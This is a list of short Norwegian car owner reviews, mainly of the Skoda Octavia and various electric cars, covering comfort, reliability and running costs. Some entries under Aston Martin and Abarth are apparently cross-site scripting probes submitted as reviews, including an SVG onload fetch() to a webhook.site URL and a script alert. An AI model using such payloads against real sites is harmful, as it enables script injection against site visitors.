Skoda Octavia (2020)

Verdens beste bil for den som ikke er interessert i bil, men stiller store krav til transport. MYE bil for pengene!

Skoda Octavia (2020)

Kjørt problemfritt (leasingbil Firma) i 3 år og 168 000 km. Kun byttet en sensor i støtfanger framme på garanti etter ca 140000 km.

Skoda Octavia (2020)

Beste Octavia jeg har hatt. Kjørt Skoda siden 1992 og har aldri opplevd alvorlige feil eller dyre reparasjoner som ikke er blitt fikset på garanti.

Skoda Octavia (2020)

Skoda Octavia (2020)

Grei familiebil med god plass med nokså kvikk motor ift motorstørrelse. Fungerte også greit med campingvogn på ferien, dog med til tider litt høgt turtall.

Skoda Octavia (2020)

Beste bilen jeg har hatt til nå. Kjørt Skoda siden jeg fikk lappen i 1992. Kombinasjonen kvalitet, pris og plass gjør denne overlegen i sin klasse

Skoda Octavia (2020)

Veldig god og gjennomført bil av Skoda. Dette er ikke bare en bil du kjøper når fornuften står for bilvalget, bilen er bygget i kvalitetsmaterialer, moderne løsninger, og er morsom å kjøre med

Skoda Octavia (2019)

Feilfri, komfortabel og billig i drift.

Skoda Octavia (2019)

Topp familiebil til under 400.000kr

Skoda Octavia (2019)

Vurderte flere biler for å huse 2 voksne + 2 barn. Skoda Octavia ble valgt pga motor, 4x4, hengerfeste og bagasjeromsplass. Med 190hk i kombinasjon med DSG er bilen mer enn sprek nok for norske farts

Skoda Octavia (2019)

Helt ok bil. Noe mega fet er det ikke.

Skoda Octavia (2018)

En meget praktisk og rask 4x4 med god plass til folk og bagasje. Mye bil for pengene!

Skoda Octavia (2018)

Anbefales, jeg vil kjøpe Skoda igjen

Skoda Octavia (2018)

Beste bilen jeg har hatt så langt. Anbefales.

Skoda Octavia (2018)

God og driftsikker bil. Går relativt bra til å være en standard familiebil. Eneste negative for meg er setene, her kunne Skoda kostet på noen ekstra kroner med litt høyere komfort i standard se

Citroën e-C4 (2025)

Jeg er foreløpig veldig fornøyd. Har slitt litt med å finne den optimale sittekomforten, men en pute gjorde susen der (jeg er 180 og trengte ekstra korsryggstøtte). Bilens automatikk passer meg ve

Aston Martin DB9 GT (2017)

alert("total")

Aston Martin DB9 GT (2017)

totalvurderingtest

Abarth 500e (2024)

Abarth 500e (2024)

Abarth 500e (2024)

xxxfooo4

Abarth 500e (2024)

<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://webhook.site/418d388b-4676-4b57-95ba-4330be1ec311')"> <circle cx="50" cy="50" r="40" fill="red"/> </svg> <script>alert(1)</script>

Volvo EX40 (2026)

Dette er ikke en volvo som vi er kjent med volvo. Dårlige seter, umulig å opprettholde 20grader i kupe på vinter, kjapp på gasspedal, men enormt strømforbruk uansett hvordan du prøver å tilpass

Ford Explorer EV (2025)

Kommer nok til å bytte den ut pga den nervøse oppførselen på vinterføre. Utenom dette svarer den godt på alle parametre.

Ford Kuga (2021)

Forbruk. Gir en tier for forbruk langkjøring. 0,44 og forbruk 0,8 med campingvogn, totalvekt 1400 kg(ved tomt batteri). Rekkevidde elektrisk på vinter månedene er fra 20 - 30 km, blandet/bykjøring

Hongqi E-HS9 (2022)

Den er utrolig komfortabel, stille og har en kvalitet som overgår det meste på markedet. Har hatt bilen i 2år nå, å hele familien elsker bilen!

Mercedes-Benz EQC (2022)

Topp komfort og driftsikker.

Polestar 2 (2022)

God kvalitetsfølelse. Gode (frem-) seter. Smart med OTA (oppdateringer over-the-air). Lett å selv restarte system og app etter behov. Pen bil! Praktisk med frunk for elkabler på langtur. (hvorfor h

Mercedes-Benz GLE (2020)

Skuffende å måtte skifte opphengskuler foran på begge sider etter kun 75000 km

BMW 3-Serie (2012)

Hadde det vært et punkt som het eierglede så hadde jeg glatt gitt 10 av 10!! Bilen er vakker og tvers igjennom godt bygget! Nydelig å kjøre og det meste bærer preg av å være bygget med gode mat